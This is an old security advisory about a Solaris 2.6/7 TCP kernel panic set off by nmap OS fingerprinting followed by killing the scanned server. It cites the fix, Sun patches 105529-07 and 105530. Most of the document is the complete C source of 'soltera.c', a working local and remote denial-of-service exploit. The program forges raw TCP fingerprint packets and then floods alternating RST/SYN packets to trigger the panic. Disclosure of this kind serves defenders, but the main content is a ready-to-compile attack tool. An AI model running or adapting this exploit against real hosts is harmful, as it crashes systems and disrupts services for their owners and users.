COMMAND

    TCP/IP

SYSTEMS AFFECTED

    SunOS

PROBLEM

    David Brumley found following.   While ago he noticed nmap  V 2.08
    with OS fingerprinting (the -O option) could cause solaris  kernel
    panic.   The trick  is this.   Select an  active port  to do an OS
    fingerprint.  Kill the server after doing a fingerprint.   Solaris
    will kernel panic.   It doesn't matter  what server you  choose or
    whether or not it's  on a priviledged port.   However, it must  be
    TCP.

    The attack is troublesome because of the time differential between
    the fingerprint and  the kernel panic.   You probably won't  think
    twice about the scan when the server dies and causes panic.   This
    was tested on Solaris 2.6 using a simple listen/accept server,  as
    well as with sendmail 8.9.3.  On Solaris7 this seems to work too.

    Original code was a little bit  wrong.  New one should compile  on
    any  solaris  box  (with  -DSOLARIS)  and  is  a  bit  tuned.  The
    vulnerability seems to  get triggered when  you repeatedly send  a
    packet with rst flag and one with syn flag set:

    /* soltera.c - (c) Sep 1999 by Mixter
     * Local / Remote DoS against Solaris 2.6 (other versions?)
     *
     * Description: nmap fingerprint scans against any daemon that
     * terminates right after the scans are able to produce a kernel
     * panic on Solaris 2.6. (found by D.Brumley)
     * Local exploit: this program will create, scan and kill a listening
     * server. Just run it without arguments.
     * Remote exploit: soltera <ip> <port> - this _might_ work for a
     * service started again by inetd for every new session.
     *
     *      cc -lnsl -lsocket -DSOLARIS soltera.c -o soltera
     *
     *    +++ root priviledges are needed for the fingerprinting +++
     */
    
    #define PORT	0xC0D3
    #define REPEAT	255
    
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <strings.h>
    #include <netinet/in.h>
    #include <sys/signal.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/ioctl.h>
    #include <netdb.h>
    #include <arpa/inet.h>
    #include <errno.h>
    #include <signal.h>
    
    void server (int);
    void fakeosscan (u_long, int);
    
    #define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))
    
    #define ANS "\x1b\x5b"
    #define TH_FIN  0x01
    #define TH_SYN  0x02
    #define TH_RST  0x04
    #define TH_PUSH 0x08
    #define TH_ACK  0x10
    #define TH_URG  0x20
    #define TH_BOG  64
    
    /* #define WINSIZ 1024 * (ih->ttl % 4 + 1) */
    #define WINSIZ 2048
    
    #ifdef SOLARIS
    #include <sys/stream.h>
    #include <sys/dlpi.h>
    #include <sys/bufmod.h>
    #include <netinet/ip_var.h>
    #define htons(x) (x)
    #define htonl(x) (x)
    #define u_int8_t uint8_t
    #define u_int16_t uint16_t
    #define u_int32_t uint32_t
    #endif
    
    struct iphdr
      {
    #if __BYTE_ORDER == __LITTLE_ENDIAN
        u_int8_t ihl:4;
        u_int8_t version:4;
    #elif __BYTE_ORDER == __BIG_ENDIAN
        u_int8_t version:4;
        u_int8_t ihl:4;
    #else
    #error  "Please fix <bytesex.h>"
    #endif
        u_int8_t tos;
        u_int16_t tot_len;
        u_int16_t id;
        u_int16_t frag_off;
        u_int8_t ttl;
        u_int8_t protocol;
        u_int16_t check;
        u_int32_t saddr;
        u_int32_t daddr;
      };
    
    struct tcphdr
      {
        u_int16_t source;
        u_int16_t dest;
        u_int32_t seq;
        u_int32_t ack_seq;
    #if __BYTE_ORDER == __LITTLE_ENDIAN
        u_int8_t th_x2:4;
        u_int8_t th_off:4;
    #endif
    #if __BYTE_ORDER == __BIG_ENDIAN
    /*    u_int8_t th_off:4;
       u_int8_t th_x2:4; */
    #endif
        u_int8_t th_flags;
        u_int16_t th_win;
        u_int16_t check;
        u_int16_t th_urp;
      };
    
    u_short
    ip_sum (addr, len)
         u_short *addr;
         int len;
    {
      register int nleft = len;
      register u_short *w = addr;
      register int sum = 0;
      u_short answer = 0;
      while (nleft > 1)
        {
          sum += *w++;
          nleft -= 2;
        }
      if (nleft == 1)
        {
          *(u_char *) (&answer) = *(u_char *) w;
          sum += answer;
        }
      if (nleft == 1)
        {
          *(u_char *) (&answer) = *(u_char *) w;
          sum += answer;
        }
      sum = (sum >> 16) + (sum & 0xffff);
      sum += (sum >> 16);
      answer = ~sum;
      return (answer);
    }
    
    int
    main (int ac, char **av)
    {
      int p = PORT, pid;
      u_long ia;
    
      if (ac < 2 || !(ia = inet_addr (av[1])))
        {
          printf (ANS "0;32m[using ip 127.0.0.1]\n");
          ia = inet_addr ("127.0.0.1");
        }
      else
        printf (ANS "0;32m[using ip %s]\n", av[1]);
      if (ac >= 3)
        if (atoi (av[2]))
          p = atoi (av[2]);
      printf (ANS "0;34m[using port %d]\n", p);
      if (getuid ())
        {
          printf ("You need root to use fingerprinting locally...\n");
          printf ("Listening as server only, hit CTRL+C to abort.\n");
          for (;;) server(p);
        }
      pid = fork ();
      if (!pid)
        server (p);
      sleep (3);
      fakeosscan (ia, p);
      if (kill (pid, SIGKILL) == -1)
        printf (ANS "0;31mFAILED to kill server: %s\n", strerror (errno));
      else
        printf (ANS "0;31m[server (pid: %d) killed]\n", pid);
      sleep (3);
      fakeosscan (ia, p);
      sleep (10);
      printf (ANS "0;35m[all done]%s0;0m\n", ANS);
      return 0;
    }
    
    void
    server (int port)
    {
      int c, e = sizeof (struct sockaddr_in);
      struct sockaddr_in l, r;
      l.sin_family = AF_INET;
      l.sin_port = htons (port);
      l.sin_addr.s_addr = INADDR_ANY;
      memset (l.sin_zero, 0, 8);
      c = socket (AF_INET, SOCK_STREAM, 0);
      bind (c, (struct sockaddr *) &l, sizeof (struct sockaddr));
      listen (c, 0xFF);
      printf (ANS "1;33m[server listening on port %d]\n", port);
      while (accept (c, (struct sockaddr *) &r, &e));
    }
    
    void
    fakeosscan (u_long ip, int port)
    {
      int r = socket (AF_INET, SOCK_STREAM, 0), optlen = 20, i = 0;
      int orig = getrandom (1024, 65534);
      char synb[8192];
      struct sockaddr_in sin;
      struct iphdr *ih = (struct iphdr *) synb;
      struct tcphdr *th = (struct tcphdr *) (synb + sizeof (struct iphdr));
      u_long seq = random ();
      char *eoh = (synb + sizeof (struct iphdr) + sizeof (struct tcphdr));
      char *options = "\003\003\012\001\002\004\001\011\010\012\077\077\077\077\000\000\000\000\000\000";
    
      printf (ANS "1;30m[initiating fingerprinting simulation on port %d]\n", port);
    
      sin.sin_family = AF_INET;
      sin.sin_port = htons (port);
      sin.sin_addr.s_addr = ip;
    
      connect (r, (struct sockaddr *) &sin, sizeof (sin));
      close (r);
      r = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
    
      ih->version = 4;
      ih->ihl = 5;
      ih->tos = 0x00;
      ih->id = htons (random ());
      ih->frag_off = 0;
      ih->ttl = getrandom (0, 255);
      ih->protocol = IPPROTO_TCP;
      ih->check = 0;
      ih->saddr = 0;
      ih->daddr = ip;
      th->source = htons (orig);
      th->dest = htons (port);
      th->seq = seq;
      th->ack_seq = 0;
      th->th_flags = 0;
      th->th_win = htons (WINSIZ);
      th->check = 0;
      th->th_urp = 0;
      memset (eoh, 0, 20);
      memcpy (eoh, options, optlen);
    
    /* packet 1 */
      ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
      th->th_off = 5 + (optlen / 4);
      th->th_flags = TH_BOG | TH_SYN;
      th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
      ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
      sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0,
	        (struct sockaddr *) &sin, sizeof (sin));
    
    /* packet 2 */
      ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
      th->th_off = 5 + (optlen / 4);
      th->th_flags = 0;
      th->source++;
      th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
      ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
      sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
    
    /* packet 3 */
      ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
      th->th_off = 5 + (optlen / 4);
      th->th_flags = TH_SYN | TH_FIN | TH_URG | TH_PUSH;
      th->source++;
      th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
      ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
      sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen,
	      0, (struct sockaddr *) &sin, sizeof (sin));
    
    /* packet 4 */
      ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
      th->th_off = 5 + (optlen / 4);
      th->th_flags = TH_ACK;
      th->source++;
      th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
      ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
      sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
    
    /* packet 5 */
      ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
      th->th_off = 5 + (optlen / 4);
      th->th_flags = TH_SYN;
      th->source++;
      th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
      ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
      sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
    
    /* packet 6 */
      ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
      th->th_off = 5 + (optlen / 4);
      th->th_flags = TH_ACK;
      th->source++;
      th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
      ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
      sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
    
    /* guess */
      ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
      th->th_off = 5 + (optlen / 4);
      th->th_flags = TH_FIN | TH_PUSH | TH_URG;
      th->source++;
      th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
      ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
      sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
    
    /* we omit the udp stuff */
    
    /* the actual mutex_enter exploit (rst/syn/rst/syn...) */
      optlen = 0;
      memset (eoh, 0, sizeof (options));
      ih->tot_len = sizeof (ih) + sizeof (th) + optlen;
      th->th_off = 5 + (optlen / 4);
      th->th_flags = TH_SYN;
      for (i = 0; i <= REPEAT; i++)
        {
          if (i % 2)
	    {
	      th->th_flags = TH_SYN;
	      th->th_win = htons (WINSIZ);
	    }
          else
	    {
	      th->th_flags = TH_RST;
	      th->th_win = 0;
	    }
          th->source = orig + i;
          th->seq = seq + i;
          th->check = ip_sum (synb, (sizeof (struct iphdr) + sizeof (struct tcphdr) + optlen + 1) & ~1);
          ih->check = ip_sum (synb, (4 * ih->ihl + sizeof (struct tcphdr) + optlen + 1) & ~1);
          sendto (r, synb, 4 * ih->ihl + sizeof (struct tcphdr) + optlen, 0, (struct sockaddr *) &sin, sizeof (sin));
          usleep (31337);
        }
    
      close (r);
    }

SOLUTION

    David worked with Sun a while  ago on this problem, and they  have
    released  patch  105529-07  (for  sparc)  and  105530  (for  x86).
    According to  the patch  readme, the  problem is  with a recursive
    mutex_enter on the  TCP streams driver.   No info about  Solaris 7
    patches.  Solaris 8 beta is not vulnerable.

    If you use nmap  to scan your own  network, use the -sT  option to
    do vanilla connect()'s so you don't kill your own servers.